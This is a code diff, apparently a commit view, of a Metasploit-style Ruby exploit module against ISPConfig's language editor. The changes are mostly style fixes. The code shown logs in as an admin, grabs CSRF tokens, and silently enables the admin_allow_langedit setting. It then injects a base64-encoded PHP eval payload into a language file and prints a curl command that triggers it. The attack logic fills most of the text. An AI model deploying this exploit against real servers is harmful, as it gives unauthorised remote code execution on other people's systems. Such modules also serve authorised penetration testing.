@@ -19,11 +19,11 @@ def initialize(info = {})
19
19
language_edit.php file. The vulnerability occurs when the `admin_allow_langedit`
20
20
setting is enabled, allowing authenticated administrators to inject arbitrary
21
21
PHP code through the language editor interface.
22
-
22
+
23
23
This module will automatically check if the required `admin_allow_langedit`
24
24
permission is enabled, and attempt to enable it if it's disabled (requires
25
25
admin credentials with system configuration access).
26
-
26
+
27
27
The exploit works by injecting a PHP payload into a language file, which
28
28
is then executed when the file is accessed. The payload is base64 encoded
29
29
and written using PHP's file_put_contents function.
@@ -59,7 +59,7 @@ def initialize(info = {})
59
59
'Notes' => {
60
60
'Stability' => [ CRASH_SAFE ] ,
61
61
'Reliability' => [ REPEATABLE_SESSION ] ,
62
- 'SideEffects' => [ IOC_IN_LOGS ]
62
+ 'SideEffects' => [ IOC_IN_LOGS , CONFIG_CHANGES ]
63
63
}
64
64
)
65
65
)
@@ -74,6 +74,7 @@ def initialize(info = {})
74
74
def check
75
75
print_status ( 'Checking if the target is ISPConfig...' )
76
76
return CheckCode ::Unknown ( 'Failed to login' ) unless authenticate
77
+
77
78
# Always try to log in and parse version, since credentials are required
78
79
# cookie_jar.clear (handled in exploit)
79
80
# Try to access the dashboard or settings page
@@ -88,11 +89,11 @@ def check
88
89
version_element = doc . at ( '//p[@class="frmTextHead"]' )
89
90
if version_element
90
91
version_text = version_element . text
91
- version = version_text . split ( ":" ) [ 1 ] . gsub ( " " , "" )
92
+ version = version_text . split ( ':' ) [ 1 ] . gsub ( ' ' , '' )
92
93
version = Rex ::Version . new ( version )
93
94
if version < Rex ::Version . new ( '3.2.11p1' )
94
95
print_good ( "ISPConfig version detected: #{ version_text } " )
95
- return CheckCode ::Vulnerable ( "Version: #{ version_text } " )
96
+ return CheckCode ::Appears ( "Version: #{ version_text } " )
96
97
end
97
98
end
98
99
end
@@ -112,15 +113,17 @@ def authenticate
112
113
'keep_cookies' => true
113
114
} )
114
115
return false unless res
116
+
115
117
if res &.code == 302
116
118
res = send_request_cgi ( {
117
119
'method' => 'GET' ,
118
- 'uri' => normalize_uri ( target_uri . path , 'login/' , res &.headers . fetch ( 'Location' , nil ) )
120
+ 'uri' => normalize_uri ( target_uri . path , 'login/' , res &.headers & .fetch ( 'Location' , nil ) )
119
121
} )
120
122
end
121
- return false if res . body . match ( /Username or Password wrong/i )
122
- if res . headers . fetch ( 'Location' , nil ) &.include? ( 'admin' ) ||
123
- res . body . downcase . include? ( 'dashboard' )
123
+ body_downcase = res . body . downcase . freeze
124
+ return false if body_downcase . include? ( 'username or password wrong' )
125
+
126
+ if res . headers . fetch ( 'Location' , nil ) &.include? ( 'admin' ) || body_downcase . include? ( 'dashboard' )
124
127
print_good ( 'Login successful!' )
125
128
return true
126
129
end
@@ -130,15 +133,15 @@ def authenticate
130
133
131
134
def check_langedit_permission
132
135
print_status ( 'Checking if admin_allow_langedit is enabled...' )
133
-
136
+
134
137
# Try to access the language editor to see if it's accessible
135
138
edit_url = normalize_uri ( target_uri . path , 'admin' , 'language_edit.php' )
136
139
res = send_request_cgi ( {
137
140
'method' => 'GET' ,
138
141
'uri' => edit_url ,
139
142
'keep_cookies' => true
140
143
} )
141
-
144
+
142
145
if res &.code == 200 && res . body . include? ( 'language_edit' )
143
146
print_good ( 'Language editor is accessible - admin_allow_langedit appears to be enabled' )
144
147
return true
@@ -153,44 +156,44 @@ def check_langedit_permission
153
156
154
157
def enable_langedit_permission
155
158
print_status ( 'Attempting to enable admin_allow_langedit...' )
156
-
159
+
157
160
# Try to access the system settings page
158
161
settings_url = normalize_uri ( target_uri . path , 'admin' , 'system_config.php' )
159
162
res = send_request_cgi ( {
160
163
'method' => 'GET' ,
161
164
'uri' => settings_url ,
162
165
'keep_cookies' => true
163
166
} )
164
-
167
+
165
168
unless res && res . code == 200
166
169
print_warning ( 'Could not access system configuration page' )
167
170
return false
168
171
end
169
-
172
+
170
173
doc = res . get_html_document
171
174
csrf_id = doc . at ( 'input[name="_csrf_id"]' ) &.[]( 'value' )
172
175
csrf_key = doc . at ( 'input[name="_csrf_key"]' ) &.[]( 'value' )
173
-
176
+
174
177
unless csrf_id && csrf_key
175
178
print_warning ( 'Could not extract CSRF tokens from system config page' )
176
179
return false
177
180
end
178
-
181
+
179
182
# Try to enable the setting
180
183
enable_data = {
181
184
'_csrf_id' => csrf_id ,
182
185
'_csrf_key' => csrf_key ,
183
186
'admin_allow_langedit' => '1' ,
184
187
'action' => 'save'
185
188
}
186
-
189
+
187
190
res = send_request_cgi ( {
188
191
'method' => 'POST' ,
189
192
'uri' => settings_url ,
190
193
'vars_post' => enable_data ,
191
194
'keep_cookies' => true
192
195
} )
193
-
196
+
194
197
if res && res . code == 200
195
198
print_good ( 'Successfully enabled admin_allow_langedit' )
196
199
return true
@@ -205,7 +208,7 @@ def inject_payload
205
208
@payload_file = "#{ Rex ::Text . rand_text_alpha_lower ( 8 ) } .php"
206
209
b64_payload = Base64 . strict_encode64 ( payload . encoded )
207
210
injection = "'];eval(base64_decode('#{ b64_payload } '));die;#"
208
- lang_file = Rex ::Text . rand_text_alpha_lower ( 10 ) + " .lng"
211
+ lang_file = Rex ::Text . rand_text_alpha_lower ( 10 ) + ' .lng'
209
212
edit_url = normalize_uri ( target_uri . path , 'admin' , 'language_edit.php' )
210
213
initial_data = {
211
214
'lang' => 'en' ,
@@ -249,27 +252,27 @@ def inject_payload
249
252
def exploit
250
253
cookie_jar . clear
251
254
fail_with ( Failure ::NoAccess , 'Authentication failed' ) unless authenticate
252
-
255
+
253
256
# Check if language editor permissions are enabled
254
257
unless check_langedit_permission
255
258
print_warning ( 'admin_allow_langedit appears to be disabled' )
256
259
print_status ( 'Attempting to enable admin_allow_langedit...' )
257
-
260
+
258
261
if enable_langedit_permission
259
262
print_good ( 'Successfully enabled admin_allow_langedit, retrying exploit...' )
260
263
# Re-check permissions after enabling
261
264
unless check_langedit_permission
262
- fail_with ( Failure ::UnexpectedReply , 'Failed to enable admin_allow_langedit or language editor still not accessible' )
265
+ fail_with ( Failure ::NoAccess , 'Failed to enable admin_allow_langedit or language editor still not accessible' )
263
266
end
264
267
else
265
268
fail_with ( Failure ::UnexpectedReply , 'Could not enable admin_allow_langedit - exploit requires this setting to be enabled' )
266
269
end
267
270
end
268
-
271
+
269
272
payload_url = inject_payload
270
273
print_status ( 'Starting payload handler...' )
271
274
print_status ( 'Manual trigger information:' )
272
275
print_line ( "URL: #{ full_uri } #{ payload_url } " )
273
276
print_line ( "Manual trigger: curl '#{ full_uri } #{ payload_url } '" )
274
277
end
275
- end
278
+ end
0 commit comments